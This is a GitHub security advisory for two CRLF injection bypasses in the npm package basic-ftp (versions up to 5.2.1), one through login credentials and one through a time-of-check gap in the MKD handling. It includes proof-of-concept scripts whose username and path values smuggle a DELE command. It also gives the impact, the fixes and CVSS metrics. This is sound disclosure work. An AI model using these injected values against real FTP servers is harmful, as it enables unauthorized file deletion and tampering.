GHSA-6v7q-wjvx-w8wg

ADVISORY - github

Summary

Summary

basic-ftp's CRLF injection protection (added in commit 2ecc8e2 for GHSA-chqc-8p9q-pq6q) is incomplete. Two code paths bypass the protectWhitespace() control character check: (1) the login() method directly concatenates user-supplied credentials into USER/PASS FTP commands without any validation, and (2) the _openDir() method sends an MKD command before cd() invokes protectWhitespace(), creating a TOCTOU bypass. Both vectors allow an attacker who controls input to inject arbitrary FTP commands into the control connection.

Details

Vector 1: Credential Injection (login)

The login() method constructs FTP commands by direct string concatenation with no CRLF validation:

// src/Client.ts:216-231
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {  // Line 218: no validation on `user`
        // ...
        else if (res.code === 331) {
            this.ftp.send("PASS " + password)  // Line 226: no validation on `password`
        }
    })
}

FtpContext.send() writes directly to the TCP socket:

// src/FtpContext.ts:223-227
send(command: string) {
    // ...
    this._socket.write(command + "\r\n", this.encoding)
}

The protectWhitespace() method (line 762) rejects \r, \n, and \0 characters — but it is only called for path-based operations. Credentials never pass through it.

The public access() method (line 268) passes options.user and options.password directly to login() with no sanitization.

Vector 2: MKD TOCTOU Bypass (_openDir)

The _openDir() method sends an MKD command before the CRLF check in cd():

// src/Client.ts:745-748
protected async _openDir(dirName: string) {
    await this.sendIgnoringError("MKD " + dirName)  // Line 746: sent BEFORE validation
    await this.cd(dirName)                           // Line 747: protectWhitespace() called here — too late
}

This is called from ensureDir() (line 729) which splits a user-supplied remote path by / and passes each fragment to _openDir(), and from _uploadToWorkingDir() (line 679) which passes local directory names read from the filesystem.

PoC

Vector 1: Credential Injection

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    // Connect to target FTP server
    await client.access({
        host: "target-ftp-server",
        port: 21,
        // Username contains CRLF + injected DELE command
        user: "anonymous\r\nDELE important.txt",
        password: "guest"
    });
    // Server receives on the wire:
    //   USER anonymous\r\n
    //   DELE important.txt\r\n
    //   PASS guest\r\n
    // The DELE command executes before PASS is processed

    client.close();
}

exploit();

Vector 2: MKD TOCTOU Bypass

const ftp = require("basic-ftp");

async function exploit() {
    const client = new ftp.Client();
    client.ftp.verbose = true;

    await client.access({
        host: "target-ftp-server",
        user: "anonymous",
        password: "guest"
    });

    // Path fragment with CRLF — MKD is sent before cd() validates
    try {
        await client.ensureDir("test\r\nDELE important.txt/subdir");
    } catch (e) {
        // cd() throws after protectWhitespace() rejects, but MKD + DELE already sent
    }
    // Server received:
    //   MKD test\r\n
    //   DELE important.txt\r\n
    //   CWD test\r\n  <-- this may fail, but damage is done

    client.close();
}

exploit();

Impact

An attacker who controls credentials or remote paths passed to basic-ftp can inject arbitrary FTP commands into the control connection. This enables:

  • File deletion: Inject DELE commands to remove files on the FTP server
  • File manipulation: Inject RNFR/RNTO to rename files, MKD/RMD to create/remove directories
  • Server commands: Inject SITE commands (e.g., SITE CHMOD) to change permissions
  • Session hijacking: Inject USER/PASS to re-authenticate as a different user

The credential injection vector (Vector 1) is particularly dangerous because it occurs before authentication, meaning the injected commands execute with whatever default permissions the server grants during the login handshake.

Applications that accept user-supplied FTP credentials (e.g., web-based file managers, backup tools, deployment systems) are directly vulnerable.

Recommended Fix

Add CRLF validation to both code paths:

1. Validate credentials in login():

// src/Client.ts:216
login(user = "anonymous", password = "guest"): Promise<FTPResponse> {
    if (/[\r\n\0]/.test(user) || /[\r\n\0]/.test(password)) {
        return Promise.reject(new Error("Invalid credentials: Contains control characters"));
    }
    this.ftp.log(`Login security: ${describeTLS(this.ftp.socket)}`)
    return this.ftp.handle("USER " + user, (res, task) => {
        // ... rest unchanged
    })
}

2. Validate dirName in _openDir() before sending MKD:

// src/Client.ts:745
protected async _openDir(dirName: string) {
    if (/[\r\n\0]/.test(dirName)) {
        throw new Error("Invalid path: Contains control characters");
    }
    await this.sendIgnoringError("MKD " + dirName)
    await this.cd(dirName)
}

Alternatively, centralize CRLF validation in FtpContext.send() so that all FTP commands are protected regardless of the calling code path.

Common Weakness Enumeration (CWE)

ADVISORY - github

Improper Neutralization of CRLF Sequences ('CRLF Injection')


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

3.9

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

8.2high
PackageTypeOS NameOS VersionAffected RangesFix Versions
basic-ftpnpm--<=5.2.15.2.2

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is no loss of confidentiality.

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any or all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Performance is reduced or there are interruptions in resource availability. Even if repeated exploitation of the vulnerability is possible, the attacker does not have the ability to completely deny service to legitimate users. The resources in the impacted component are either partially available all of the time, or fully available only some of the time, but overall there is no direct, serious consequence to the impacted component.